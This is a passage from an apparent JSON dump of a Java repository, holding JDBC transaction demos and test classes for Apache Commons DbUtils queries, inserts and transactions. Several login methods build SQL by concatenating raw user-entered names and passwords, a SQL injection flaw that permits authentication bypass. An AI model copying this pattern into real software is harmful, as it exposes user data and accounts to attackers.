sql=\"update t_account set account=accountBalance+? where accountName=?\";\n\t\tPreparedStatement pstmt=con.prepareStatement(sql);\n\t\tpstmt.setInt(1, account);\n\t\tpstmt.setString(2, accountName);\n\t\tpstmt.executeUpdate();\n\t}\n\t\n\t\n\tpublic static void main(String[] args) {\n\t\tConnection con=null;\n\t\tSavepoint sp=null;\n\t\ttry {\n\t\t\tcon=DbBuilder.getCon(); \n\t\t\tcon.setAutoCommit(false); \n\t\t\tSystem.out.println(\"设置手动提交事务\");\n\t\t\tint account=500;\n\t\t\toutCount(con, \"test1\", account);\n\t\t\tsp=con.setSavepoint(); \n\t\t\tinCount(con, \"test2\", account);\n\t\t\tSystem.out.println(\"end\");\n\t\t} catch (Exception e) {\n\t\t\ttry {\n\t\t\t\tcon.rollback(sp); \n\t\t\t} catch (SQLException e1) {\n\t\t\t\te1.printStackTrace();\n\t\t\t}\n\t\t\te.printStackTrace();\n\t\t}finally{\n\t\t\ttry {\n\t\t\t\tcon.commit();\n\t\t\t\tcon.close();\n\t\t\t} catch (SQLException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\t}\n\t\n\t \n}\n"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/test/java/DBAlterTest.java",
    "content": "\n\nimport java.io.IOException;\nimport java.sql.SQLException;\nimport java.util.List;\nimport java.util.Properties;\n\nimport javax.sql.DataSource;\n\nimport org.apache.commons.dbcp2.BasicDataSourceFactory;\n//import org.apache.commons.dbcp.BasicDataSourceFactory;\nimport org.apache.commons.dbutils.handlers.BeanListHandler;\nimport org.junit.Ignore;\nimport org.junit.Test;\n\nimport com.jun.plugin.dbutils.db.info.model.Table;\n\n\npublic class DBAlterTest {\n\tDataSource dataSource =null;\n\t{\n\t\tProperties pro = new Properties();\n\t\ttry {\n\t\t\tpro.load(DBAlterTest.class.getClassLoader().getResourceAsStream(\"dbcp.properties\"));\n\t\t\t dataSource= BasicDataSourceFactory.createDataSource(pro);// 得到一个连接池对象\n\t\t} catch (IOException e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t\te.printStackTrace();\n\t\t} catch (Exception e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t\te.printStackTrace();\n\t\t}\n\n\t}\n\t@Test\n\t@Ignore\n\tpublic void test() throws SQLException{\n\t\tSystem.out.println(dataSource.getConnection());\n\t}\n\t\n\t@Test\n\t@Ignore\n\tpublic void testResult() throws SQLException{\n\t\tBeanListHandler<Table> beanListHandler = new BeanListHandler<>(Table.class);\n\t\tList<Table> tables= beanListHandler.handle(dataSource.getConnection().getMetaData().getTables(null, null, null, new String[]{\"TABLE\"}));\n//\t\tMyPrinter.printJson(tables);\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/test/java/DBUtilTest2.java",
    "content": "\n\nimport java.sql.Connection;\nimport java.util.Iterator;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Scanner;\n\nimport org.apache.commons.dbutils.QueryRunner;\nimport org.apache.commons.dbutils.handlers.KeyedHandler;\nimport org.apache.commons.dbutils.handlers.MapHandler;\nimport org.apache.commons.dbutils.handlers.MapListHandler;\nimport org.apache.commons.dbutils.handlers.ScalarHandler;\n\nimport com.jun.plugin.datasource.DataSourceUtil;\nimport com.jun.plugin.dbutils.dbutil.DBUtil;\n\npublic class DBUtilTest2 {\n\t\n\tQueryRunner run = DBUtil.getRunner();\n\t\n\tpublic void TestDBTemplate() {\n\t\tObject[] params = { \"22\" };\n\t\tList<Map<String, Object>> list = new DBUtil().find(\" select name,content,id from test where name= ? \", params);\n\t\tSystem.out.println(list.size());\n\t}\n\t\n\n\t\n\tpublic void query1() throws Exception {\n\t\t// DBUtil run = new DBUtil();\n\t\tString sql = \"select * from users\";\n\t\tMap<Object, Map<String, Object>> mm = (Map<Object, Map<String, Object>>) run.query(sql, new KeyedHandler(\"id\"));\n\t\tSystem.err.println(mm);\n\t\tIterator it = mm.keySet().iterator();\n\t\twhile (it.hasNext()) {\n\t\t\tMap m1 = mm.get(it.next());\n\t\t\tSystem.err.println(m1.get(\"id\") + \",\" + m1.get(\"name\") + \",\" + m1.get(\"pwd\"));\n\t\t}\n\n\t}\n\n\t// 返回Map一行\n\t\n\tpublic void query5() throws Exception {\n\t\t// DBUtil run = new DBUtil();\n\t\tString sql = \"SELECT u.name as uname,c.name as cname\" + \" FROM users u INNER JOIN contacts c ON u.id=c.uid where u.id='U001'\";\n\t\tSystem.err.println(sql);\n\t\tMap<String, Object> mm = run.query(sql, new MapHandler());\n\t\tSystem.err.println(mm);\n\t}\n\n\t\n\tpublic void query6() throws Exception {\n\t\t// DBUtil run = new DBUtil();\n\t\tString sql = \"SELECT u.name as uname,c.name as cname\" + \" FROM users u INNER JOIN contacts c ON u.id=c.uid\";\n\t\tSystem.err.println(sql);\n\t\tList<Map<String, Object>> mm = run.query(sql, new MapListHandler());\n\t\tSystem.err.println(mm);\n\t}\n\n\t\n\tpublic void query7() throws Exception {\n\t\t// DBUtil run = new DBUtil();\n\t\tString sql = \"select count(*) from contacts\";\n\t\tObject o = run.query(sql, new ScalarHandler());\n\t\tInteger ss = Integer.valueOf(o.toString());\n\t\tSystem.err.println(ss);\n\t}\n\n\n\t\n\tpublic void insert1() throws Exception {\n\t\tString sql = \"insert into users values('U002','李四','888')\";\n\t\trun.update(sql);\n\t}\n\n\t\n\tpublic void insert2() throws Exception {\n\t\tString sql = \"insert into users values(?,?,?)\";\n\t\trun.update(sql, \"U003\", \"王五\", \"7777\");\n\t}\n\n\t\n\tpublic void del1() throws Exception {\n\t\tString sql = \"delete from users where name=?\";\n\t\tint len = run.update(sql, \"李四\");\n\t\tSystem.err.println(len);\n\t}\n\n\t\n\tpublic void udpate1() throws Exception {\n\t\tString sql = \"update users set name=? where id=?\";\n\t\trun.update(sql, \"赵'七\", \"U001\");\n\t}\n\n\t\n\n\tpublic static void main(String[] args) throws Exception {\n\t\t DBUtilTest2 dbu = new DBUtilTest2();\n\t\tString sql = \"insert into users values (?,?,?)\";\n\t\tfor (int i = 1; i <= 1043; i++) {\n\t\t\tString uuid = \"U\";\n\t\t\tString num = \"00000\" + i;// 0001\n\t\t\tnum = num.substring(num.length() - 6);\n\t\t\tuuid = uuid + \"-\" + num;\n\t\t\tdbu.run.update(sql, uuid, \"Jack\" + i, \"AA\");\n\t\t}\n\t}\n\n \n\n \n\n\t\n\tpublic void tx1() throws Exception {\n\t\tConnection con = DataSourceUtil.getConn();\n\t\ttry {\n\t\t\tString sql = \"insert into users values('U008','AA','AA')\";\n\t\t\t// 设置事务的开始标记\n\t\t\tcon.setAutoCommit(false);\n\t\t\trun.update(con, sql);\n\t\t\tString sql2 = \"insert into users values('U009,'AA','AA')\";\n\t\t\trun.update(con, sql2);\n\t\t\t// 提交\n\t\t\tcon.commit();\n\t\t} catch (Exception e) {\n\t\t\tSystem.err.println(\"出错了\");\n\t\t\tcon.rollback();\n\t\t} finally {\n\t\t\tcon.close();\n\t\t}\n\t}\n\n\t\n\tpublic void login() throws Exception {\n\t\tScanner sc = new Scanner(System.in);\n\t\tString name = sc.nextLine();\n\t\tString pwd = sc.nextLine();\n\t\t// DBUtil run = new DBUtil();\n\t\tString sql = \"select * from users where name='\" + name + \"' and pwd='\" + pwd + \"'\";\n\t\tSystem.err.println(sql);\n\t\tList list = run.query(sql, new MapListHandler());\n\t\tif (list.size() > 0) {\n\t\t\tSystem.err.println(\"OK\");\n\t\t} else {\n\t\t\tSystem.err.println(\"errorlll\");\n\t\t}\n\t}\n\n\t\n\tpublic void query11188() throws Exception {\n\t\tQueryRunner run = new QueryRunner();\n\t\tString sql = \"select * from users\";\n\t\tMap<Object, Map<String, Object>> mm = (Map<Object, Map<String, Object>>) run.query(sql, new KeyedHandler(\"id\"));\n\t\tSystem.err.println(mm);\n\t\tIterator it = mm.keySet().iterator();\n\t\twhile (it.hasNext()) {\n\t\t\tMap m1 = mm.get(it.next());\n\t\t\tSystem.err.println(m1.get(\"id\") + \",\" + m1.get(\"name\") + \",\" + m1.get(\"pwd\"));\n\t\t}\n\n\t}\n\n\t// 返回Map一行\n\t\n\tpublic void query5188() throws Exception {\n\t\tQueryRunner run = new QueryRunner();\n\t\tString sql = \"SELECT u.name as uname,c.name as cname\" + \" FROM users u INNER JOIN contacts c ON u.id=c.uid where u.id='U001'\";\n\t\tSystem.err.println(sql);\n\t\tMap<String, Object> mm = run.query(sql, new MapHandler());\n\t\tSystem.err.println(mm);\n\t}\n\n\t\n\tpublic void query688() throws Exception {\n\t\tQueryRunner run = new QueryRunner();\n\t\tString sql = \"SELECT u.name as uname,c.name as cname\" + \" FROM users u INNER JOIN contacts c ON u.id=c.uid\";\n\t\tSystem.err.println(sql);\n\t\tList<Map<String, Object>> mm = run.query(sql, new MapListHandler());\n\t\tSystem.err.println(mm);\n\t}\n\n\t\n\tpublic void query788() throws Exception {\n\t\tQueryRunner run = new QueryRunner();\n\t\tString sql = \"select count(*) from contacts\";\n\t\tObject o = run.query(sql, new ScalarHandler());\n\t\tInteger ss = Integer.valueOf(o.toString());\n\t\tSystem.err.println(ss);\n\t}\n\t \n\n\t\n\tpublic void insert11() throws Exception {\n\t\tQueryRunner run = new QueryRunner();\n\t\tString sql = \"insert into users values('U002','李四','888')\";\n\t\trun.update(sql);\n\t}\n\n\t\n\tpublic void insert21() throws Exception {\n\t\tQueryRunner run = new QueryRunner();\n\t\tString sql = \"insert into users values(?,?,?)\";\n\t\trun.update(sql, \"U003\", \"王五\", \"7777\");\n\t}\n\n\t\n\tpublic void del11() throws Exception {\n\t\tQueryRunner run = new QueryRunner();\n\t\tString sql = \"delete from users where name=?\";\n\t\tint len = run.update(sql, \"李四\");\n\t\tSystem.err.println(len);\n\t}\n\n\t\n\tpublic void udpate11() throws Exception {\n\t\tQueryRunner run = new QueryRunner();\n\t\tString sql = \"update users set name=? where id=?\";\n\t\trun.update(sql, \"赵'七\", \"U001\");\n\t}\n \n\n\t// 不确定条件的查询\n\t/*\n\t *  public void query1() throws Exception{ QueryRunner run = new\n\t * QueryRunner(); Contact c = new Contact(); //c.setId(\"C001\");\n\t * c.setName(\"王'\"); c.setSex(\"1\"); c.setTel(\"123\"); c.setAddr(\"中国\");\n\t * c.setAge(55); String sql = \"select * from contacts where 1=1\";\n\t * List<Object> params = new ArrayList<Object>(); if(c.getId()!=null){\n\t * sql+=\" and id=?\"; params.add(c.getId()); } if(c.getSex()!=null){ sql =\n\t * sql+\" and sex=?\"; params.add(c.getSex()); } if(c.getName()!=null){\n\t * sql+=\" and name like ?\"; params.add(\"%\"+c.getName()+\"%\"); }\n\t * if(c.getAddr()!=null){ sql+= \" and addr like ?\";\n\t * params.add(\"%\"+c.getAddr()+\"%\"); } if(c.getTel()!=null){\n\t * sql+=\" and tel like ?\"; params.add(\"%\"+c.getTel()+\"%\"); }\n\t * if(c.getAge()!=null){ sql+=\" and age=?\" ; params.add(c.getAge()); }\n\t * System.err.println(\">>>>>>:\"+sql); System.err.println(params);\n\t * List<Contact> cs = run.query(sql, new\n\t * BeanListHandler<Contact>(Contact.class), params.toArray()); for(Contact\n\t * cc:cs){ System.err.println(cc); } }\n\t */\n\n\t\n\tpublic void tx188() throws Exception {\n\t\tQueryRunner run = new QueryRunner();\n\t\tConnection con = DBUtil.conn;\n\t\ttry {\n\t\t\tString sql = \"insert into users values('U008','AA','AA')\";\n\t\t\t// 设置事务的开始标记\n\t\t\tcon.setAutoCommit(false);\n\t\t\trun.update(con, sql);\n\t\t\tString sql2 = \"insert into users values('U009,'AA','AA')\";\n\t\t\trun.update(con, sql2);\n\t\t\t// 提交\n\t\t\tcon.commit();\n\t\t} catch (Exception e) {\n\t\t\tSystem.err.println(\"出错了\");\n\t\t\tcon.rollback();\n\t\t} finally {\n\t\t\tcon.close();\n\t\t}\n\t}\n\t\n\n\t//////////////////////////////demo beggin  //////////////////////////////\n\tpublic static void main1(String[] args) throws Exception {\n\t\tQueryRunner run = new QueryRunner();\n\t\tString sql = \"insert into users values (?,?,?)\";\n\t\tfor (int i = 1; i <= 1043; i++) {\n\t\t\tString uuid = \"U\";\n\t\t\tString num = \"00000\" + i;// 0001\n\t\t\tnum = num.substring(num.length() - 6);\n\t\t\tuuid = uuid + \"-\" + num;\n\t\t\trun.update(sql, uuid, \"Jack\" + i, \"AA\");\n\t\t}\n\t}\n\n\t\n\tpublic void login88() throws Exception {\n\t\tScanner sc = new Scanner(System.in);\n\t\tString name = sc.nextLine();\n\t\tString pwd = sc.nextLine();\n\t\tQueryRunner run = new QueryRunner();\n\t\tString sql = \"select * from users where name='\" + name + \"' and pwd='\" + pwd + \"'\";\n\t\tSystem.err.println(sql);\n\t\tList list = run.query(sql, new MapListHandler());\n\t\tif (list.size() > 0) {\n\t\t\tSystem.err.println(\"OK\");\n\t\t} else {\n\t\t\tSystem.err.println(\"errorlll\");\n\t\t}\n\t}\n\n\tpublic static void main1188(String[] args) throws Exception {\n\t\tQueryRunner run = new QueryRunner();\n\t\tString sql = \"insert into users values (?,?,?)\";\n\t\tfor (int i = 1; i <= 1043; i++) {\n\t\t\tString uuid = \"U\";\n\t\t\tString num = \"00000\" + i;// 0001\n\t\t\tnum = num.substring(num.length() - 6);\n\t\t\tuuid = uuid + \"-\" + num;\n\t\t\trun.update(sql, uuid, \"Jack\" + i, \"AA\");\n\t\t}\n\t}\n\n\t\n\tpublic void query111() throws Exception {\n\t\tQueryRunner run = new QueryRunner();\n\t\tString sql = \"select * from users\";\n\t\tMap<Object, Map<String, Object>> mm = (Map<Object, Map<String, Object>>) run.query(sql, new KeyedHandler(\"id\"));\n\t\tSystem.err.println(mm);\n\t\tIterator it = mm.keySet().iterator();\n\t\twhile (it.hasNext()) {\n\t\t\tMap m1 = mm.get(it.next());\n\t\t\tSystem.err.println(m1.get(\"id\") + \",\" + m1.get(\"name\") + \",\" + m1.get(\"pwd\"));\n\t\t}\n\n\t}\n\n\t// 返回Map一行\n\t\n\tpublic void query51() throws Exception {\n\t\tQueryRunner run = new QueryRunner();\n\t\tString sql = \"SELECT u.name as uname,c.name as cname\" + \" FROM users u INNER JOIN contacts c ON u.id=c.uid where u.id='U001'\";\n\t\tSystem.err.println(sql);\n\t\tMap<String, Object> mm = run.query(sql, new MapHandler());\n\t\tSystem.err.println(mm);\n\t}\n\n\t\n\tpublic void query61() throws Exception {\n\t\tQueryRunner run = new QueryRunner();\n\t\tString sql = \"SELECT u.name as uname,c.name as cname\" + \" FROM users u INNER JOIN contacts c ON u.id=c.uid\";\n\t\tSystem.err.println(sql);\n\t\tList<Map<String, Object>> mm = run.query(sql, new MapListHandler());\n\t\tSystem.err.println(mm);\n\t}\n\n\t \n\t/**\n\t * 查询返回List< Bean>\n\t * \n\t * @throws Exception\n\t */\n\t/*\n\t *  public void query3() throws Exception{ QueryRunner run = new\n\t * QueryRunner(); String sql = \"select * from users\" ; List<User> us =\n\t * run.query(sql,new BeanListHandler<User>(User.class)); for(User u:us){\n\t * System.err.println(u); }\n\t * \n\t * }\n\t */\n\n\t\n\tpublic void insert188() throws Exception {\n\t\tQueryRunner run = new QueryRunner();\n\t\tString sql = \"insert into users values('U002','李四','888')\";\n\t\trun.update(sql);\n\t}\n\n\t\n\tpublic void insert288() throws Exception {\n\t\tQueryRunner run = new QueryRunner();\n\t\tString sql = \"insert into users values(?,?,?)\";\n\t\trun.update(sql, \"U003\", \"王五\", \"7777\");\n\t}\n\n\t\n\tpublic void del188() throws Exception {\n\t\tQueryRunner run = new QueryRunner();\n\t\tString sql = \"delete from users where name=?\";\n\t\tint len = run.update(sql, \"李四\");\n\t\tSystem.err.println(len);\n\t}\n\n\t\n\tpublic void udpate881() throws Exception {\n\t\tQueryRunner run = new QueryRunner();\n\t\tString sql = \"update users set name=? where id=?\";\n\t\trun.update(sql, \"赵'七\", \"U001\");\n\t}\n\n\t\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/test/java/DBUtilTest6.java",
    "content": "\n\nimport java.sql.Connection;\nimport java.util.Iterator;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Scanner;\n\nimport javax.sql.DataSource;\n\nimport org.apache.commons.dbutils.QueryRunner;\nimport org.apache.commons.dbutils.handlers.KeyedHandler;\nimport org.apache.commons.dbutils.handlers.MapHandler;\nimport org.apache.commons.dbutils.handlers.MapListHandler;\nimport org.apache.commons.dbutils.handlers.ScalarHandler;\n//import org.junit.Test;\nimport org.junit.Test;\n\nimport com.jun.plugin.datasource.DataSourceUtil;\nimport com.jun.plugin.dbutils.dbutil.DBUtil;\nimport com.jun.plugin.dbutils.test.JdbcUtil;\n\npublic class DBUtilTest6 { \n\t\n\tprivate DataSource ds = null;\n\t// private static QueryRunner run =null;\n\tpublic static QueryRunner run = null;\n\tprivate static Connection conn = null;\n\tstatic {\n\t\trun = new QueryRunner(DataSourceUtil.getDataSource());\n\t\tconn = DataSourceUtil.getConn();\n\t\trun = run;\n\t}\n\t\n\t@Test\n\tpublic void TestDBTemplate() {\n\t\tObject[] params = { \"22\" };\n\t\tList<Map<String, Object>> list = new DBUtil().find(\" select name,content,id from test where name= ? \", params);\n\t\tSystem.out.println(list.size());\n\t}\n\t\n\n\t@Test\n\tpublic void query1() throws Exception {\n\t\t// DBUtil run = new DBUtil();\n\t\tString sql = \"select * from users\";\n\t\tMap<Object, Map<String, Object>> mm = (Map<Object, Map<String, Object>>) run.query(sql, new KeyedHandler(\"id\"));\n\t\tSystem.err.println(mm);\n\t\tIterator it = mm.keySet().iterator();\n\t\twhile (it.hasNext()) {\n\t\t\tMap m1 = mm.get(it.next());\n\t\t\tSystem.err.println(m1.get(\"id\") + \",\" + m1.get(\"name\") + \",\" + m1.get(\"pwd\"));\n\t\t}\n\n\t}\n\n\t// 返回Map一行\n\t@Test\n\tpublic void query5() throws Exception {\n\t\t// DBUtil run = new DBUtil();\n\t\tString sql = \"SELECT u.name as uname,c.name as cname\" + \" FROM users u INNER JOIN contacts c ON u.id=c.uid where u.id='U001'\";\n\t\tSystem.err.println(sql);\n\t\tMap<String, Object> mm = run.query(sql, new MapHandler());\n\t\tSystem.err.println(mm);\n\t}\n\n\t@Test\n\tpublic void query6() throws Exception {\n\t\t// DBUtil run = new DBUtil();\n\t\tString sql = \"SELECT u.name as uname,c.name as cname\" + \" FROM users u INNER JOIN contacts c ON u.id=c.uid\";\n\t\tSystem.err.println(sql);\n\t\tList<Map<String, Object>> mm = run.query(sql, new MapListHandler());\n\t\tSystem.err.println(mm);\n\t}\n\n\t@Test\n\tpublic void query7() throws Exception {\n\t\t// DBUtil run = new DBUtil();\n\t\tString sql = \"select count(*) from contacts\";\n\t\tObject o = run.query(sql, new ScalarHandler());\n\t\tInteger ss = Integer.valueOf(o.toString());\n\t\tSystem.err.println(ss);\n\t}\n\n\n\n\t// 封装成唯一的一个bean\n\t// @Test\n\t// public void query2() throws Exception {\n\t// DBUtil run = new DBUtil();\n\t// String sql = \"select * from users where id=?\";\n\t// User user = run.query(sql, new BeanHandler<User>(User.class), \"U003\");\n\t// System.err.println(user);\n\t// }\n\n\t/**\n\t * 查询返回List< Bean>\n\t * \n\t * @throws Exception\n\t */\n\t// @Test\n\t// public void query3() throws Exception {\n\t// DBUtil run = new DBUtil();\n\t// String sql = \"select * from users\";\n\t// List<User> us = run.query(sql, new BeanListHandler<User>(User.class));\n\t// for (User u : us) {\n\t// System.err.println(u);\n\t// }\n\t//\n\t// }\n\n\t@Test\n\tpublic void insert1() throws Exception {\n\t\tString sql = \"insert into users values('U002','李四','888')\";\n\t\trun.update(sql);\n\t}\n\n\t// 接收?\n\t@Test\n\tpublic void insert2() throws Exception {\n\t\tString sql = \"insert into users values(?,?,?)\";\n\t\trun.update(sql, \"U003\", \"王五\", \"7777\");\n\t}\n\n\t// 删除\n\t@Test\n\tpublic void del1() throws Exception {\n\t\tString sql = \"delete from users where name=?\";\n\t\tint len = run.update(sql, \"李四\");\n\t\tSystem.err.println(len);\n\t}\n\n\t@Test\n\tpublic void udpate1() throws Exception {\n\t\tString sql = \"update users set name=? where id=?\";\n\t\trun.update(sql, \"赵'七\", \"U001\");\n\t}\n\n\t\n\n\tpublic static void main(String[] args) throws Exception {\n\t\t// DBUtil run = new DBUtil();\n\t\tString sql = \"insert into users values (?,?,?)\";\n\t\tfor (int i = 1; i <= 1043; i++) {\n\t\t\tString uuid = \"U\";\n\t\t\tString num = \"00000\" + i;// 0001\n\t\t\tnum = num.substring(num.length() - 6);\n\t\t\tuuid = uuid + \"-\" + num;\n\t\t\trun.update(sql, uuid, \"Jack\" + i, \"AA\");\n\t\t}\n\t}\n\n \n\n \n\n\t@Test\n\tpublic void tx1() throws Exception {\n\t\tConnection con = DataSourceUtil.getConn();\n\t\ttry {\n\t\t\tString sql = \"insert into users values('U008','AA','AA')\";\n\t\t\t// 设置事务的开始标记\n\t\t\tcon.setAutoCommit(false);\n\t\t\trun.update(con, sql);\n\t\t\tString sql2 = \"insert into users values('U009,'AA','AA')\";\n\t\t\trun.update(con, sql2);\n\t\t\t// 提交\n\t\t\tcon.commit();\n\t\t} catch (Exception e) {\n\t\t\tSystem.err.println(\"出错了\");\n\t\t\tcon.rollback();\n\t\t} finally {\n\t\t\tcon.close();\n\t\t}\n\t}\n\n\t@Test\n\tpublic void login() throws Exception {\n\t\tScanner sc = new Scanner(System.in);\n\t\tString name = sc.nextLine();\n\t\tString pwd = sc.nextLine();\n\t\t// DBUtil run = new DBUtil();\n\t\tString sql = \"select * from users where name='\" + name + \"' and pwd='\" + pwd + \"'\";\n\t\tSystem.err.println(sql);\n\t\tList list = run.query(sql, new MapListHandler());\n\t\tif (list.size() > 0) {\n\t\t\tSystem.err.println(\"OK\");\n\t\t} else {\n\t\t\tSystem.err.println(\"errorlll\");\n\t\t}\n\t}\n\n\t@Test\n\tpublic void query11188() throws Exception {\n\t\tQueryRunner run = new QueryRunner();\n\t\tString sql = \"select * from users\";\n\t\tMap<Object, Map<String, Object>> mm = (Map<Object, Map<String, Object>>) run.query(sql, new KeyedHandler(\"id\"));\n\t\tSystem.err.println(mm);\n\t\tIterator it = mm.keySet().iterator();\n\t\twhile (it.hasNext()) {\n\t\t\tMap m1 = mm.get(it.next());\n\t\t\tSystem.err.println(m1.get(\"id\") + \",\" + m1.get(\"name\") + \",\" + m1.get(\"pwd\"));\n\t\t}\n\n\t}\n\n\t// 返回Map一行\n\t@Test\n\tpublic void query5188() throws Exception {\n\t\tQueryRunner run = new QueryRunner();\n\t\tString sql = \"SELECT u.name as uname,c.name as cname\" + \" FROM users u INNER JOIN contacts c ON u.id=c.uid where u.id='U001'\";\n\t\tSystem.err.println(sql);\n\t\tMap<String, Object> mm = run.query(sql, new MapHandler());\n\t\tSystem.err.println(mm);\n\t}\n\n\t@Test\n\tpublic void query688() throws Exception {\n\t\tQueryRunner run = new QueryRunner();\n\t\tString sql = \"SELECT u.name as uname,c.name as cname\" + \" FROM users u INNER JOIN contacts c ON u.id=c.uid\";\n\t\tSystem.err.println(sql);\n\t\tList<Map<String, Object>> mm = run.query(sql, new MapListHandler());\n\t\tSystem.err.println(mm);\n\t}\n\n\t@Test\n\tpublic void query788() throws Exception {\n\t\tQueryRunner run = new QueryRunner();\n\t\tString sql = \"select count(*) from contacts\";\n\t\tObject o = run.query(sql, new ScalarHandler());\n\t\tInteger ss = Integer.valueOf(o.toString());\n\t\tSystem.err.println(ss);\n\t}\n\t/*\n\t * @Test public void query8() throws Exception{ QueryRunner run = new\n\t * QueryRunner(); String sql =\n\t * \"select id as cid,name as cname,tel as ctel,sex from contacts\";\n\t * List<Contact> cs = run.query(sql,new\n\t * BeanListHandler<Contact>(Contact.class)); System.err.println(cs); }\n\t */\n\n\t/*\n\t * @Test public void query9() throws Exception{ QueryRunner run = new\n\t * QueryRunner(); String sql = \"select * from contacts\"; List<Contact> cs =\n\t * run.query(sql, new ResultSetHandler<List<Contact>>(){\n\t * \n\t * @Override public List<Contact> handle(ResultSet rs) throws SQLException {\n\t * List<Contact> list = new ArrayList<Contact>(); while(rs.next()){ Contact\n\t * c = new Contact(); c.setCid(rs.getString(\"name\"));\n\t * c.setCname(rs.getString(\"id\")); c.setCtel(rs.getString(\"tel\"));\n\t * list.add(c); } return list; } }); System.err.println(\">>>:\"+cs); }\n\t */\n\n\t// 封装成唯一的一个bean\n\t/*\n\t * @Test public void query2() throws Exception{ QueryRunner run = new\n\t * QueryRunner(); String sql = \"select * from users where id=?\"; User user =\n\t * run.query(sql,new BeanHandler<User>(User.class),\"U003\");\n\t * System.err.println(user); }\n\t */\n\t/**\n\t * 查询返回List< Bean>\n\t * \n\t * @throws Exception\n\t */\n\t/*\n\t * @Test public void query3() throws Exception{ QueryRunner run = new\n\t * QueryRunner(); String sql = \"select * from users\" ; List<User> us =\n\t * run.query(sql,new BeanListHandler<User>(User.class)); for(User u:us){\n\t * System.err.println(u); }\n\t * \n\t * }\n\t */\n\n\t@Test\n\tpublic void insert11() throws Exception {\n\t\tQueryRunner run = new QueryRunner();\n\t\tString sql = \"insert into users values('U002','李四','888')\";\n\t\trun.update(sql);\n\t}\n\n\t// 接收?\n\t@Test\n\tpublic void insert21() throws Exception {\n\t\tQueryRunner run = new QueryRunner();\n\t\tString sql = \"insert into users values(?,?,?)\";\n\t\trun.update(sql, \"U003\", \"王五\", \"7777\");\n\t}\n\n\t// 删除\n\t@Test\n\tpublic void del11() throws Exception {\n\t\tQueryRunner run = new QueryRunner();\n\t\tString sql = \"delete from users where name=?\";\n\t\tint len = run.update(sql, \"李四\");\n\t\tSystem.err.println(len);\n\t}\n\n\t@Test\n\tpublic void udpate11() throws Exception {\n\t\tQueryRunner run = new QueryRunner();\n\t\tString sql = \"update users set name=? where id=?\";\n\t\trun.update(sql, \"赵'七\", \"U001\");\n\t}\n\n\t// 接收一个ds\n\t// private DataSource ds;\n\t/*\n\t * public QueryRunner() { } public QueryRunner(DataSource ds) { this.ds =\n\t * ds; }\n\t */\n \n\t// @Test\n\t/*\n\t * public void myutils2(){ QueryRunner run = new QueryRunner(); String sql =\n\t * \"select * from contacts\"; List<Contact> us =\n\t * run.queryForBean(sql,Contact.class); for(Contact u:us){\n\t * System.err.println(u); }\n\t * \n\t * }\n\t */\n\t/*\n\t * @Test public void myutils3(){ QueryRunner run = new QueryRunner(); String\n\t * sql = \"select * from users\" ; List<User> cs = run.query(sql,new\n\t * MyBeanListHandler<User>(User.class)); for(User c:cs){\n\t * System.err.println(\">>:\"+c); } }\n\t */\n\n\t// 不确定条件的查询\n\t/*\n\t * @Test public void query1() throws Exception{ QueryRunner run = new\n\t * QueryRunner(); Contact c = new Contact(); //c.setId(\"C001\");\n\t * c.setName(\"王'\"); c.setSex(\"1\"); c.setTel(\"123\"); c.setAddr(\"中国\");\n\t * c.setAge(55); String sql = \"select * from contacts where 1=1\";\n\t * List<Object> params = new ArrayList<Object>(); if(c.getId()!=null){\n\t * sql+=\" and id=?\"; params.add(c.getId()); } if(c.getSex()!=null){ sql =\n\t * sql+\" and sex=?\"; params.add(c.getSex()); } if(c.getName()!=null){\n\t * sql+=\" and name like ?\"; params.add(\"%\"+c.getName()+\"%\"); }\n\t * if(c.getAddr()!=null){ sql+= \" and addr like ?\";\n\t * params.add(\"%\"+c.getAddr()+\"%\"); } if(c.getTel()!=null){\n\t * sql+=\" and tel like ?\"; params.add(\"%\"+c.getTel()+\"%\"); }\n\t * if(c.getAge()!=null){ sql+=\" and age=?\" ; params.add(c.getAge()); }\n\t * System.err.println(\">>>>>>:\"+sql); System.err.println(params);\n\t * List<Contact> cs = run.query(sql, new\n\t * BeanListHandler<Contact>(Contact.class), params.toArray()); for(Contact\n\t * cc:cs){ System.err.println(cc); } }\n\t */\n\n\t@Test\n\tpublic void tx188() throws Exception {\n\t\tQueryRunner run = new QueryRunner();\n\t\tConnection con = JdbcUtil.getConnection();\n\t\ttry {\n\t\t\tString sql = \"insert into users values('U008','AA','AA')\";\n\t\t\t// 设置事务的开始标记\n\t\t\tcon.setAutoCommit(false);\n\t\t\trun.update(con, sql);\n\t\t\tString sql2 = \"insert into users values('U009,'AA','AA')\";\n\t\t\trun.update(con, sql2);\n\t\t\t// 提交\n\t\t\tcon.commit();\n\t\t} catch (Exception e) {\n\t\t\tSystem.err.println(\"出错了\");\n\t\t\tcon.rollback();\n\t\t} finally {\n\t\t\tcon.close();\n\t\t}\n\t}\n\n\t@Test\n\tpublic void login88() throws Exception {\n\t\tScanner sc = new Scanner(System.in);\n\t\tString name = sc.nextLine();\n\t\tString pwd = sc.nextLine();\n\t\tQueryRunner run = new QueryRunner();\n\t\tString sql = \"select * from users where name='\" + name + \"' and pwd='\" + pwd + \"'\";\n\t\tSystem.err.println(sql);\n\t\tList list = run.query(sql, new MapListHandler());\n\t\tif (list.size() > 0) {\n\t\t\tSystem.err.println(\"OK\");\n\t\t} else {\n\t\t\tSystem.err.println(\"errorlll\");\n\t\t}\n\t}\n\n\tpublic static void main1188(String[] args) throws Exception {\n\t\tQueryRunner run = new QueryRunner();\n\t\tString sql = \"insert into users values (?,?,?)\";\n\t\tfor (int i = 1; i <= 1043; i++) {\n\t\t\tString uuid = \"U\";\n\t\t\tString num = \"00000\" + i;// 0001\n\t\t\tnum = num.substring(num.length() - 6);\n\t\t\tuuid = uuid + \"-\" + num;\n\t\t\trun.update(sql, uuid, \"Jack\" + i, \"AA\");\n\t\t}\n\t}\n\n\t@Test\n\tpublic void query111() throws Exception {\n\t\tQueryRunner run = new QueryRunner();\n\t\tString sql = \"select * from users\";\n\t\tMap<Object, Map<String, Object>> mm = (Map<Object, Map<String, Object>>) run.query(sql, new KeyedHandler(\"id\"));\n\t\tSystem.err.println(mm);\n\t\tIterator it = 